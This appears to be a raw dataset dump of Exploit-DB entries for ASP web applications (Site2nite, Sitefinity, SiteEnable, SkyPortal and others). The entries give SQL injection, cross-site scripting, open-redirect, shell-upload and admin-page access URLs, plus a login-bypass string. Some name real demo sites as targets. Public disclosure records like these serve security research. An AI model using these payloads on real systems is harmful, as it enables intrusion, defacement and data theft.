deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15395
Description: Site2Ntite Vacation Rental (VRBO) Listings - SQL Injection
Type: webapps
Platform: asp
Date: 2010-11-02
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Site2nite Vacation Rental (VRBO) Listings SQL injection Vulnerability
Version:FSBO
Price:100$
Vendor url:http://www.site2nite.com/
Published: 2010-11-02
Thanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic, M4n0j,SeeMe, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com)
Special Greetz: Topsecure.net,0xr00t.com,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Description:

Unlimited Vacation Rental Listings
Vacation Rentals are listed with thumbnail picture, location, price, and link to detail,
?to allow visitors to quickly browse to the rentals they are interested in.

Vacation Rental Detail
Detailed rental information is displayed to visitors when they click on a rental they are interested in with bigger picture,
additional pictures, description, features, additional information, price, location, etc.
?
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Vulnerability:

*SQL injection Vulnerability*

DEMO URL :

http://server/detail.asp?ID=[SQLi]

.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
# 0day n0 m0re #
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #26705
Description: SiteBeater News 4.0 - 'Archive.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-03
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15697/info

SiteBeater News is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ArticleDisplay/Archive.asp?DOMAIN_Link=&sSort=SubmitDate&iSearchID=389&sKeywords=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E
Exploit-DB #36001
Description: Sitecore CMS 6.4.1 - 'url' Open Redirection
Type: webapps
Platform: asp
Date: 2011-07-28
Author: Tom Neaves

Exploit:
source: https://www.securityfocus.com/bid/48930/info

Sitecore CMS is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

Successful exploits may redirect a user to a potentially malicious site; this may aid in phishing attacks.

Sitecore CMS versions 6.4.1 rev. 110324 and prior are vulnerable. 

http://www.example.com/sitecore/shell/default.aspx?xmlcontrol=Application&url=http://www.example.com&ch=WindowChrome&ic=Applications%2f32x32%2fabout.png&he=About+Sitecore&ma=0&mi=0&re=0
Exploit-DB #25332
Description: SiteEnable - SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-02
Author: Zinho

Exploit:
source: https://www.securityfocus.com/bid/12985/info

SiteEnable is reported prone to an SQL injection vulnerability.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

All versions of SiteEnable are considered vulnerable at the moment.

http://www.example.com/content.asp?do_search=0&keywords=contact&page_no=2&sortby=;SELECT%20* FROM bla bla--
Exploit-DB #26927
Description: SiteEnable 3.3 - 'login.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16009/info

SiteEnable is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 3.3. and prior are vulnerable; other versions may also be affected. 

http://www.example.com/login.asp?ret_page=[XSS]
Exploit-DB #15563
Description: Sitefinity CMS - 'ASP.NET' Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2010-11-17
Author: Net.Edit0r

Exploit:
=============================================================
Sitefinity CMS (ASP.NET) Shell Upload Vulnerability
=============================================================

###################################################
#
# Exploit Title: Sitefinity CMS (ASP.NET) Shell Upload Vulnerability
# DDate: 16/11/2010
# Author: Net.Edit0r
# Software Link: www.sitefinity.com
# Version: 3.x . 4.0
# Tested on: windows SP2 Francais V.(Pnx2 2.0)
# dork : "Sitefinity: Login"
# Contact: Net.Edit0r@att.net ~ Black.hat.tm@gmail.com
#
####################################################

    exploit # /UserControls/Dialogs/ImageEditorDialog.aspx

first go to # http://site.com/sitefinity/

       then # http://site.com/sitefinity/UserControls/Dialogs/ImageEditorDialog.aspx

     select # asp renamed via the .asp;.jpg (shell.asp;.jpg)

  Upload to # http://site.com/Images/[shell]


    Video : http://net-edit0r.persiangig.com/Film/0day.rar

#######################################################

Home : datacoders.org ~ ajaxtm.com #Iranian HackerZ

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Greetz : HUrr!c4nE , H-SK33PY , Cair3x , B3hz4d ,Raiden , m4hd1 ,P0W3RFU7

       BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic ~ keracker
Exploit-DB #42792
Description: Sitefinity CMS 9.2 - Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2017-08-31
Author: Pralhad Chaskar

Exploit:
# Exploit Title: Stored Cross Site Scripting (XSS) in Progress  Sitefinity CMS 9.2
# Date: Aug 31, 2017
# Exploit Author: Pralhad Chaskar
# Vendor Homepage: http://www.sitefinity.com/
# Tested on: Progress Sitefinity CMS 9.2 and lower
# CVE : NA

Vendor Description
------------------
Progress® Sitefinity™ is a content management and marketing analytics platform designed to maximize the agility needed to succeed in today’s rapidly changing digital marketplace. It provides developers and IT teams the tools they need to support enterprise-level digital marketing, optimizing the customer journey by delivering seamless personalized experiences across different technologies and devices. Progress is a trusted source for the digital marketing innovation needed to create transformative customer experiences that fuel business success.

Description
------------
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.

Vulnerability Class
--------------------
Cross-site Scripting (XSS) - https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Proof of Concept
----------------
Below mentioned input fields aren't properly escaped. This could lead to an XSS attack that could possibly affect administrators, users, editor.

http://xx.sitefinity.com/Sitefinity/Pages
Parameter : Page Title
Method: POST

http://xx.sitefinity.com/Sitefinity/Content/News
Parameter : News Title
Method: POST

http://xx.sitefinity.com/Sitefinity/Content/List
Parameter : List Title
Method: POST

http://xx.sitefinity.com/Sitefinity/Content/Documents/LibraryDocuments/incident-request-attachments
Parameter : Document Title
Method: POST

http://xx.sitefinity.com/Sitefinity/Content/Images/LibraryImages/newsimages
Parameter : Image Title
Method: POST

http://xx.sitefinity.com/Sitefinity/Content/links
Parameter : Link Title
Method: POST

http://xx.sitefinity.com/Sitefinity/Content/Videos/LibraryVideos/default-video-library
Parameter : Video Title
Method: POST

Vendor Contact Timeline
------------------------
Discovered: October 16, 2016
Vendor Notification: October 18, 2016
Advisory Publication: Aug 31, 2017
Public Disclosure: Aug 31, 2017

Affected Targets
----------------
Sitefinity CMS 9.2 and lower

Solution
--------
Upgrade to Sitefinity CMS 10.1 to fix this issue.

Credits
-------
Pralhad Chaskar
Information Security Analyst
Help AG Middle East

References
----------
[1] Help AG Middle East http://www.helpag.com/
[2] Sitefinity CMS Version Notes http://www.sitefinity.com/product/version-notes
Exploit-DB #26947
Description: Sitekit CMS 6.6 - 'Default.aspx' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16016/info

Sitekit CMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 6.6 of Sitekit is reportedly vulnerable to these issues; prior versions may also be affected. 

http://www.example.com/default.aspx?[xss]
http://www.example.com/Default.aspx?textonly=[xss]
http://www.example.com/Default.aspx?textonly=1&locID=[xss]
http://www.example.com/Default.aspx?textonly=1&locID=0ad00v005&lang=[xss]
Exploit-DB #26949
Description: Sitekit CMS 6.6 - 'registration-form.html?ClickFrom' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16016/info
  
Sitekit CMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
  
Version 6.6 of Sitekit is reportedly vulnerable to these issues; prior versions may also be affected. 

http://www.example.com/registration-form.html?ClickFrom=[xss]
Exploit-DB #26948
Description: Sitekit CMS 6.6 - 'Request-call-back.html?ClickFrom' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16016/info
 
Sitekit CMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
Version 6.6 of Sitekit is reportedly vulnerable to these issues; prior versions may also be affected. 

http://www.example.com/Request-call-back.html?ClickFrom=[xss]
Exploit-DB #10465
Description: SitePal 1.1 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-12-15
Author: R3d-D3V!L

Exploit:
[~] SitePal v1.1(Auth Bypass) Remote SQL Injection Vulnerability
[~]
[~] ----------------------------------------------------------
[~] author: R3d-D3v!L
[~]
[~] Date: 15.12.2009
[~] 7!M3:1-35
[~] Home: www.Xp10.ME
[~]
[~] contact: N/A
[~]
[~] -----------------------------------------------------------


[~] Exploit:


username:admin
password: X' or ' 1=1--

[~] admin login for demo:

server/SitePalDemo/z_admin_login.asp



[~]--------------------------------------------------------------------------------
[~] Greetz tO:dolly & ab0 mohammed & XP_10 h4CK3R&  JASM!N & c0prA & MY-M!ND ;)
[~]
[~] mkank.com
[~] spechial thanks :{off-s3c} & ((dolly)) & ((7am3m)) & dev!l_mody & 0R45hy & meg4 ;)
[~]
[?] 4.!.5 ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA--.....
[~]
[~]I4M:4r48!4N-3XPLO!73R

[~]
[~]--------------------------------------------------------------------------------
Exploit-DB #27536
Description: SiteSearch Indexer 3.5 - 'searchresults.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-03-31
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17332/info

SiteSearch Indexer is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/search/searchresults.asp?searchField=[XSS]
Exploit-DB #29009
Description: SitesOutlet eCommerce Kit - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-15
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21056/info

SitesOutlet Ecommerce Kit is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/PATH/catalogue.asp?keyword=[sql]
http://www.example.com/PATH/catalogue.asp?cid='[sql]
http://www.example.com/PATH//viewDetail.asp?pid='[sql]
Exploit-DB #29010
Description: SiteXpress E-Commerce System - 'Dept.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-14
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21059/info

SiteXpress E-Commerce System is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/[path]/dept.asp?id=[SQL]
Exploit-DB #8109
Description: SkyPortal Classifieds System 0.12 - Contents Change
Type: webapps
Platform: asp
Date: 2009-02-25
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG

@~~=From     : Turkish
@~~=======================================~~@
@~~=Script   :SkyPortal Classifieds System v0.12 

@~~=S.Site   :http://skyportal.net

@~~=Download :http://skyportal.net/downloads/modules/mod_classifieds_0_12.zip

@~~=Dty      :http:/skyportal.net/dl.asp?title=Classifieds%20System%20v0.12&cmd=6&cid=114

@~~=Demo     :http://vegtrafikk.net
@~~=======================================~~@

@~~=Vul:


@~~=http://c4team.org/ [PATH] /admin_classified_admin.asp

@~~=http://c4team.org/ [PATH] /admin_classified_adminsubcat.asp

@~~=http://c4team.org/ [PATH] /admin_classified_addnew.asp

@~~=http://c4team.org/ [PATH] /admin_classified_addnewsubcat.asp


@~~=Demo:

@~~=http://www.vegtrafikk.net/admin_classified_admin.asp

vs..   vs..   vs..
@~~=======================================~~@
@~~=Greetz For
  
@~~=Str0ke & Kralman & Mrabah12R & K3vin Mitnick & web-terrorist & Silent & SpotGang
@~~=======================================~~@
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
@~~=======================================~~@

# milw0rm.com [2009-02-25]
Exploit-DB #8120
Description: SkyPortal Downloads Manager 1.1 - Remote Contents Change
Type: webapps
Platform: asp
Date: 2009-02-27
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG

@~~=From     : Turkish
@~~=======================================~~@
@~~=Script   :SkyPortal Downloads Manager v1.1

@~~=S.Site   :http://skyportal.net

@~~=Download :http://skyportal.net/downloads/modules/mod_downloads_1_1.zip

@~~=Demo     :http://vegtrafikk.net
@~~=======================================~~@

@~~=Vul:

@~~=http://site.com/ [PATH] /admin_dl_browse.asp

@~~=http://site.com/ [PATH] /dl_add_form.asp


@~~=Demo:

@~~=http://vegtrafikk.net/admin_dl_browse.asp

@~~=http://resala2u.com/admin_dl_browse.asp


vs..   vs..   vs..
@~~=======================================~~@
@~~=Greetz For
  
@~~=Str0ke & Kralman & Mrabah12R & K3vin Mitnick & web-terrorist & Silent & SpotGang
@~~=======================================~~@
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
@~~=======================================~~@

# milw0rm.com [2009-02-27]
Exploit-DB #8110
Description: SkyPortal Picture Manager 0.11 - Contents Change
Type: webapps
Platform: asp
Date: 2009-02-25
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG

@~~=From     : Turkish
@~~=======================================~~@
@~~=Script   :SkyPortal Picture Manager v0.11

@~~=S.Site   :http://skyportal.net

@~~=Download :http://skyportal.net/downloads/modules/mod_gallery_0_11.zip

@~~=Dty      :http://skyportal.net/dl.asp?title=Picture%20Manager%20v0.11&cmd=6&cid=117

@~~=Demo     :http://vegtrafikk.net
@~~=======================================~~@

@~~=Vul:


@~~=http://c4team.org/ [PATH] /admin_pic_picedit.asp

@~~=http://c4team.org/ [PATH] /admin_pic_browse.asp

@~~=http://c4team.org/ [PATH] /admin_pic_showbadlink.asp

@~~=http://c4team.org/ [PATH] /admin_pic_picedit.asp?status=delete


@~~=Demo:

@~~=http://vegtrafikk.net/admin_pic_picedit.asp

vs..   vs..   vs..
@~~=======================================~~@
@~~=Greetz For
  
@~~=Str0ke & Kralman & Mrabah12R & K3vin Mitnick & web-terrorist & Silent & SpotGang
@~~=======================================~~@
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
@~~=======================================~~@

# milw0rm.com [2009-02-25]
Exploit-DB #8111
Description: SkyPortal WebLinks 0.12 - Contents Change
Type: webapps
Platform: asp
Date: 2009-02-25
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG

@~~=From     : Turkish
@~~=======================================~~@
@~~=Script   :SkyPortal  WebLinks v0.12 

@~~=S.Site   :http://skyportal.net

@~~=Download :http://www.skyportal.net/downloads/modules/mod_links_0_12.zip

@~~=Dty      :http://www.skyportal.net/dl.asp?title=WebLinks%20v0.12&cmd=6&cid=113

@~~=Demo     :http://vegtrafikk.net
@~~=======================================~~@

@~~=Vul:


@~~=http://c4team.org/ [PATH] /admin_links_admin.asp

@~~=http://c4team.org/ [PATH] /admin_links_urledit.asp

@~~=http://c4team.org/ [PATH] /admin_links_browse.asp

@~~=http://c4team.org/ [PATH] /admin_links_adminsubcat.asp

@~~=http://c4team.org/ [PATH] /admin_links_addnew.asp


@~~=Demo:

@~~=http://vegtrafikk.net/admin_links_admin.asp

vs..   vs..   vs..
@~~=======================================~~@
@~~=Greetz For
  
@~~=Str0ke & Kralman & Mrabah12R & K3vin Mitnick & web-terrorist & Silent & SpotGang
@~~=======================================~~@
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
@~~=======================================~~@

# milw0rm.com [2009-02-25]
Exploit-DB #34687
Description: Smart ASP Survey - 'catid' SQL Injection
Type: webapps
Platform: asp
Date: 2009-08-27
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43370/info

Smart ASP Survey is prone to a SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting the vulnerability could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/poll/showresult.asp?catid=[sqli]
Exploit-DB #13880
Description: Smart ASP Survey - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-15
Author: L0rd CrusAd3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################## 1
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Smart ASP Survey SQL & XSS Vulnerable
Vendor url:http://www.sellatsite.com
Version:n/a
Published: 2010-06-15
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team, Andhrahackers.com

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

Smart ASP Survey is an easy-to-use application that provides your poll
results. Simply login to your admin panel and generate surveys.
Administrators can work from their browsers, any time, from anywhere. And,
there are no limits to the types of questions you can ask, how many polls
are stored in your archives, or how many optional answers to your poll
question. Simply login to admin start creating your surveys.

Features:

* Powerful Admin
* Upload your own logo.
* Add your own categories.
* Add/Edit/Delete Questions
* Add/Edit/Delete Answers
* Graphical Results
* Website Redirection on Survey Exit.
* User friendly Control panel.
* Complete Survey Record.
* Setup Site from Admin panel.


~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :http://server/poll/default.asp?catid=[sqli]

*XSS Vulnerable

Parameter:'"-->

DEMO URl:http://server/poll/default.asp?catid=

# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r